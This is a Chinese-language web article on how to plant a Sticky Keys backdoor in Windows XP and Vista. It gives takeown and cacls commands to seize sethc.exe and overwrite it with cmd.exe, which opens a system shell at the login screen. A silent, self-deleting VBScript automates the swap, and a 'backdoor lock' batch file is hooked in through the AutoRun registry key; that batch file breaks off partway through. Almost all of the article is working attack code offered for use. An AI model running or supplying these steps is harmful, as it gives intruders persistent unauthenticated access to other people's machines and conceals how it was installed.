54SA.COM|专注于系统运维管理,为中国SA提供动力!

54SA.COM|系统运维网

系统管理员之家Banner
当前位置: 主页 > Windows > 系统安全 > 漏洞补丁 >

巧用粘滞键打造入侵Win Vista系统超酷后门

分享到:
时间:2011-02-03 23:35来源:未知 作者:tina

    在Windows 2000/XP/Vista下,按Shift键5次,可以打开粘置,会运行sethc.exe,而且,在登录界面里也可以打开。这就让人联想到Windows的屏保,将程序替换成cmd.exe后,就可以打开shell了。

  一、具体的替换方法:

  XP系统:

  将安装源光盘弹出(或将硬盘上的安装目录改名):

  cd %widnir%\system32\dllcache

  ren sethc.exe *.ex~

  cd %widnir%\system32

  copy /y cmd.exe sethc.exe

  Vista系统:

  takeown /f c:\windows\system32\sethc.exe

  cacls c:\windows\system32\sethc.exe /G administrator:F

  备注:上两步为获得权限的命令,你也可以通过Vista优化大师获得右键菜单的提升权限的功能,然后在sethc.exe文件上面右键直接提升权限。

  然后按XP方法替换文件,

  在登录界面按5此SHIFT,出来cmd shell,然后……

  二、后门扩展:

  Dim obj, success

  Set obj = CreateObject("WScript.Shell")

  success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe", 0, True)

  success = obj.run("cmd /c echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F", 0, True)

  success = obj.run("cmd /c copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe", 0, True)

  success = obj.run("cmd /c copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe", 0, True)

  success = obj.run("cmd /c del %SystemRoot%\system32\sethc.exe", 0, True)

  success = obj.run("cmd /c ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)

  第二句最有意思了.嘿嘿..自动应答....以前就遇到过类似的问题

  再更新,加个自删除、简化代码:

  On Error Resume Next

  Dim obj, success

  Set obj = CreateObject("WScript.Shell")

  success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F? %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe? %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)

  CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)

 

  三、后门锁扩展:

  allyesno注:可以采用cmd 锁来进行cmdshell的密码验证。

  用下面的后门锁的方法是,把代码保存为bdlock.bat,然后修改注册表位置即可

  [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]

  "AutoRun"="bdlock.bat"

  @Echo Off

  title 后门登陆验证

  color a

  cls

  set temprandom=%RANDOM%

  echo 请输入验证码:%temprandom%

  set/p check=

[责任编辑:admin]

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
用户名:
最新评论 进入详细评论页>>